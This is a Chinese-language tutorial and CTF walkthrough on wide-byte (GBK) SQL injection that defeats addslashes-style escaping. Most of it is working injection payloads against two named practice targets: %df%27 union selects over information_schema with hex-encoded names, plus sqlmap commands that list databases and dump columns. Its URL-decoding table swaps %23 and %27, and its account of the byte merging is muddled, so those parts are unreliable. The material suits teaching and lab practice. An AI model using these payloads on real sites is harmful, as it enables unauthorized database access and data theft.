寬字節注入
寬字節注入是利用mysql的一個特性,mysql在使用GBK編碼(GBK就是常說的寬字節之一,實際上只有兩字節)的時候,會認為兩個字符是一個漢字(前一個ascii碼要大於128,才到漢字的范圍),而當我們輸入有單引號時會自動加入\進行轉義而變為\’(在PHP配置文件中magic_quotes_gpc=On的情況下或者使用addslashes函數,icov函數,mysql_real_escape_string函數、mysql_escape_string函數等,提交的參數中如果帶有單引號’,就會被自動轉義\’,使得多數注入攻擊無效),由於寬字節帶來的安全問題主要是吃ASCII字符(一字節)的現象,將后面的一個字節與前一個大於128的ascii碼進行組合成為一個完整的字符(mysql判斷一個字符是不是漢字,首先兩個字符時一個漢字,另外根據gbk編碼,第一個字節ascii碼大於128,基本上就可以了),此時’前的\就被吃了,我們就可以使用’了,利用這個特性從而可實施SQL注入的利用。
GBK 占用兩字節
ASCII占用一字節
PHP中編碼為GBK,函數執行添加的是ASCII編碼,MYSQL默認字符集是GBK等寬字節字符集。
輸入%df和函數執行添加的%5C,被合並成%df%5C。由於GBK是兩字節,這個%df%5C被MYSQL識別為GBK。導致本應的%df\變成%df%5C。%df%5C在GBK編碼中沒有對應,所以被當成無效字符。
%DF’ :會被PHP當中的addslashes函數轉義為“%DF\'” ,“\”既URL里的“%5C”,那么也就是說,“%DF'”會被轉成“%DF%5C%27”倘若網站的字符集是GBK,MYSQL使用的編碼也是GBK的話,就會認為“%DF%5C%27”是一個寬字符。也就是“縗’”
例如:http://www.xxx.com/login.php?user=%df’ or 1=1 limit 1,1%23&pass=
其對應的sql就是:
select * fromcms_user where username = ‘運’ or 1=1 limit 1,1#’ and password=”
URLdecode解碼
%23: ’
%27: #
例題:
靶機:http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1
先嘗試單引號?id=1’ ?id=1%27,發現頁面輸出的
引號被轉義了,在前面加了一個 \ 符號
嘗試 如果構造 \ \ 那么后面的引號也就可以發揮作用了
構造:?id=1%df%27
報錯
再構造:?id=1%df%df%23
查詢又恢復正常了,因為%df%df 雙字節構成了一個漢字,而%df%23又不成漢字所以得知此題存在寬字節注入
開始爆數據庫:
?id=1%df%27 order by 2#
列數得知 2列。
爆庫:
?id=-1%df%27 union select 1,database()%23
數據庫:sae-chinalover
爆列表:
?id=-1%df%27 union select 1,group_concat(table_name) from information_schema.tables where table_schema=0x7361652d6368696e616c6f766572%23
爆出這些表:
ctf,ctf2,ctf3,ctf4,gbksqli,news
爆字段:
?id=-1%df%27 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x63746634%23
字段:id flag
查詢關鍵字:
?id=-1%df%27 union select 1,flag from ctf4%23
利用Sqlmap:
sqlmap -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df%27"
sqlmap -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df%27" --dbs
跑出庫
sqlmap -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df%27" -D sae-chinalover --columns
跑字段:
sqlmap -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df%27" -D sae-chinalover -C flag --dump
跑出flag
例2:
靶機:安全實驗室注入關3
http://lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php、
輸入payload
?id=1%df%27 報錯
?id=1%df%df%23 頁面正常,存在寬字節注入
爆列數
?id=1%df%27 order by 3%23
?id=1%df%27 order by 4%23
發現只有三列:
爆數據庫名:
?id=1%df%27 union select 1,2,database()%23
庫名:mydbs
爆表名:
?id=1%df%27 union select 1,2,table_name from information_schema.tables where table_schema=mydbs%23
發現報錯。。。可能有過濾
那么把mydbs轉成16進制:0x6d79646273 (..字符轉16進制即可,要轉對,有個網址16進制換是轉錯的。。浪費我好多時間)
?id=1%df%27 union select 1,2,table_name from information_schema.tables where table_schema=0x6d79646273%23
得出表名:sae_user_sqli4
爆字段:
sae_user_sqli4 ->7361655f757365725f73716c6934
?id=1%df%27 union select 1,2,group_concat(column_name)from information_schema.columns where table_name=0x7361655f757365725f73716c6934%23
得出三個字段:id,title_1,content_1
爆關鍵字:
?id=1%df%27 union select 1,group_concat(id),group_concat(content_1) from sae_user_sqli4%23
得到flag